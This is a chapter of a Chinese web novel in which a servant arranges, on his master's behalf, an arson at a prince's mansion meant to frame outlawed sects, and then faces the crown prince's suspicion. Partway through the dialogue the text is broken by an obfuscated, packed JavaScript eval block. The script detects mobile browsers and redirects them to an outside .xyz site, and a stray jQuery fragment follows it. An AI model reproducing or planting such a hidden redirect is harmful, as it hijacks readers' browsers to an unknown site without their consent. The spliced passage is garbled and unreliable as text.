正月初八的下午,时浅将信封收入怀中准备去孔雀源。
明晏追上来,递上一把红娟伞,不冷不热地道:“这伞柄有些松了,你顺路找个工坊修一修吧。”
时浅接过来,第一感觉,他觉得太沉了。
明晏怎么可能会缺一把伞,而且这伞不仅伞面画着白梅,花蕊处点缀着金粉,伞柄底部更是镶嵌着一颗硕大的红翡翠,看起来极为华丽。
时浅小心翼翼地收好,虽不知这伞到底有何蹊跷,但这种时候拿给他肯定别有目的,故作唏嘘:“这玩意挺贵的吧?普通人辛苦十年能买得起不?”
明晏笑了笑:“倒也没有那么贵重,前段时间我看上了一块碧玉,准备把那块红翡抠了换掉。”
时浅摸着那块红翡,隐隐感觉有点不对劲,似乎有卡槽,可以按下去。
他一下子明白了什么,点头:“公子放心,我一定找最好的工匠。”
时浅骑马出了城,直到身边没有人,他才又把伞拿出来认真端详了一番。
红翡的地方可以按下去,“咔”的一声,他握住伞把轻轻一抽,竟有一柄极细的长刀藏于伞柄内。
质子府里是没有武器的,平时连剪子菜刀都会专门收起来锁上,谁能想到明晏的房间里会有一把藏得这么深的刀。
那家伙,外人看起来身子病弱性格纨绔,实则却是心思缜密,步步为营。
这么危险的伞放在房间里,明晏是真的可以拉着澄华同归于尽!
***
孔雀源依旧热闹,完全没有被京城的风波影响。
路过集市门口告示牌的时候,时浅勒马停住,上面零零散散贴了几张通缉令。
这其中的大多数人都是曾经闹出过大事的反教派,通缉令贴了好多年,早就无人在意了。
时浅笑了笑,继续往前走。
蓝凌不在家,他被通缉了几年,如今好不容易撤了通缉令,药铺虽然还留了两个药童看门,本人早就出去潇洒了。
时浅假惺惺地进去稍微坐了一会,然后才撑着伞走出。
孔雀源这种地方,大街上什么样奇怪的人都有,大晴天撑着这么一把醒目的红伞,路人也见惯不怪地没理他。
沿着街一直走,走到一处三层高楼下,时浅忽然听见了打招呼的声音。
他抬头,看见二楼的窗边靠着一个男人,对他挥手笑道:“公子修伞吗?”
这楼名为燕血楼,外面看着果然是个武馆,人高马大的武师们在大堂里喝酒划拳。
时浅把伞面微微往下遮住脸,这群人司空见惯地瞄了一眼,继续玩自己的。
时浅上了楼,他刚刚进门,里面的男人主动迎上来关上了窗子。
“燕楼主?”时浅其实不认识燕十六,但他有种直觉,觉得没认错人。
“你是……”燕十六盯着时浅手里那把红绢伞,又抬头看着左耳上那个醒目的耳坠,忽然认出了这张脸,咯咯笑道,“这可真是稀客了,明公子上次还让我盯着你,怎么这么快你俩混一起去了?”
时浅收伞入座:“你跟踪过我?什么时候的事了?”
燕十六笑眯眯地给他倒上热茶:“明公子没和你提过?那对不起,江湖规矩,无可奉告。”
时浅抿了口茶,猜测道:“是不是老李头的时候?那天我在孔雀源偶遇他,他拉着我喋喋不休的时候明公子就起疑了吧?”
燕十六没回答,但也没否认。
时浅好奇追问:“老李头后来差点被一群讨债的人打死,那些人也是你们装的吧?你们是想弄死他,又怕我起疑,所以演了这么一出讨债的戏码,这样即便老李头真的死了,那也是他咎由自取,和明公子没关系。”
燕十六冲他挑了挑眉:“我只收钱办事,不问恩怨缘由,你主子不该是教王吗?明公子什么时候又和修罗场的人勾搭上了?”
时浅坏笑:“有钱能使鬼推磨,修罗场一年才多少钱?我家公子遇到点麻烦,特让我过来找燕楼主想想办法。”
燕十六完全没注意他随口用了“我家”两个字,唏嘘道:“我真以为修罗场有多忠心耿耿呢,原来还是得花钱,明公子给了你多少?”
时浅从怀中摸出一个厚厚的信笺递上,淡淡道:“江湖规矩,拿钱买命,不该问的别问。”
燕十六打开一看,“啧”了一声:“明公子出手一如既往地阔绰,说吧,要杀谁?”
“不杀人。”时浅压低声音,“公子的意思是希望楼主能在楚王府放一把火。”
回想起年前发生的事情,燕十六脸上的笑容一瞬消失:“楚王府……楚王不会真是他杀的吧?”
“那怎么能。”时浅摇头,撇得干干净净,“世人皆知公子和楚王不合,就算公子想动手,那也不能在这种风口浪尖上杀人给自己惹得一身骚,您说是不是?这事不知道是谁干的,估摸着是想嫁祸给他,趁机浑水摸鱼挑事。”
燕十六觉得这话说得有理:“明公子是个谨慎的人。”
“现在外面流言蜚语传得沸沸扬扬,我家公子也很难办。”时浅长叹了一口气,显得很是头疼,“楼主知道的,公子虽然得太子殿下宠爱,但他到底是敌国太曦的质子,为人处世还是得小心低调,如今这般一传十、十传百,传着传着假的也要传成真的,公子不想惹麻烦,所以想请燕楼主帮忙,找个机会洗清嫌疑。”
燕十六挠了挠头,脑子转不过来:“我能有什么办法?悠悠众口,花钱也堵不上啊。”
“嗯。”时浅凑近一步,“公子想了个办法,楚王还没发丧,遗体至今还在王府里摆着,麻烦楼主找几个身手好的人去楚王府放一把火。”
燕十六眼睛瞪得滚圆:“然后呢?你说明白点,别卖关子了,我没你们那么好的脑子。”
时浅解释:“这把火烧起来的时候,如果能在王府里再遗落点蛛丝马迹,比如什么带着凋零莲花的牌子之类,那不就能把苗头引到别人身上去了吗?楼主应该知道,孔雀源门口贴了那么多通缉令,各个都不是省油的灯。”
燕十六恍然大悟,低笑起来:“明公子是想祸水东引,让那群反教派背黑锅?”
“反正又抓不到,人家也不会自己跳出来澄清。”时浅无所谓地勾了勾唇角,慢条斯理地分析利弊,勾引道,“楚王府在清州,京城的王府平时都不住人,而且后天初十,世子还要陪同皇上去天恩寺祈福,您就在前院大门处撒点油放把火,也伤不到府里其他人,简简单单一把火,轻轻松松一千两,多好的生意啊。”
燕十六再次清点了一遍银票,脑子里迅速转过许多念头,狡黠地道:“你们不怕我告密?”
时浅起身,伸手按住燕十六正在数着的银票:“你去呗,银票上又没写明晏的名字,谁能证明这些钱是公子给你的?燕楼主,我可好心提醒你,你多的是能掉脑袋的前科,与其鱼死网破,不如好好拿钱办事才是明路。”
燕十六笑吟吟地拨开他,把银票揣进了怀里:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357425|175497||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明公子可是我的贵客,只不过今天初八,你们初十就要动手,太仓促了吧?”
时浅点头:“毕竟公子也不是真的要烧死人,等完事后,楼主去离渡桥等着,公子还要另外赏楼主一笔钱。”
“好。”燕十六欣然答应,“请公子放心,咱们是老交情了,保准让他满意。”
时浅重新撑伞走出燕血楼,嘈杂的黑市里,无人在意谁曾经来过,又无声无息地离开。
***
时浅回到城里的时候天色已经黑了,还没走到云华宫,忽地看见大路上站了个人正在朝自己挥手。
澄华太子有贴身三个近卫,除了渊冰,还有盛阳和乔羽,现在拦路的人就是年纪最小的盛阳。
时浅眉头微蹙,莫名有了不好的预感,果然他刚刚上前就听盛阳道:“时浅,太子殿下有请。”
时浅嘴角一抽,只能硬着头皮跟上盛阳,快到地方的时候,憋了一路的他终于忍不住问了一嘴:“那个……有说是什么事吗?”
盛阳好心提醒:“不知道,但殿下前几天去了云华宫,没多久就摔门走了,估摸着是又吵架了……你自求多福吧。”
时浅眼前一黑又一黑——明晏这家伙,这么重要的事要提前打招呼,让他有个心理准备啊!
澄华在明镜堂,那是他年少读书的地方,纸张撒了一地,上面全写着两个字——“兰摧”。
他觉得自己要疯了。
时浅走进门,一眼看到满地的纸张,刚准备行礼就被打断。
澄华的眼眸有些血丝,狰狞地盯着他,一字一顿问道:“你不识字?”
时浅后背发麻,点头又摇头,小声道:“认得不多……”
澄华冷笑:“他亲自教你读书写字?”
时浅立刻反应过来,一秒也不敢犹豫:“前段时期我在南街捡到一本书,没找到失主就只能带了回去,公子看到后随手拿过去,翻了一页问我看不看得懂,我十年没读过书,当然是看不懂,他一时兴起才教了一些。”
“教了你什么?”澄华几乎要将手里的笔捏断,拿起一张纸扔到他面前,“你知道这两个字什么意思吗?”
时浅认真看了看,不假思索地回道:“兰摧,公子说是一种兰花的名字。”
澄华愣住了,脱口:“什么?”
时浅赶紧重复了一遍:“公子说是一种兰花的名字,之前还在院子里围了个小花圃,说等到开春,让我去买些兰花苗种上。”
澄华也一眨不眨地看着时浅脸上的表情。
眼眸清澈,神色真诚,不像是说谎。
明镜堂寂静如死,不知过了多久才传出澄华的哈哈大笑,他像是压在心中的一块巨石倏然消失,脸色也瞬间好转了不少。
他或许是太敏感了,明晏怎么会对仇人之子好?
明晏根本不是想教时浅读书识字,只是捉弄他打发时间罢了。
澄华摆了摆手,对他道:“回去吧。”
时浅退出明镜堂,余光扫过堂内闭目小憩的澄华太子。
澄华太子虽是教王一手捧上了东宫之位,但教导他的人却是内阁首辅程廷正,程老在魔教的爪牙下努力想把这个孩子带上正轨,希望他将来能成为一个合格的君王。
这么多年来,太子没有辜负程老的期望,他温文尔雅,未来可期。
但今天,时浅见到了一个完全陌生的太子——他偏执阴枭,像一口危险的枯井,任何人掉进去都会万劫不复。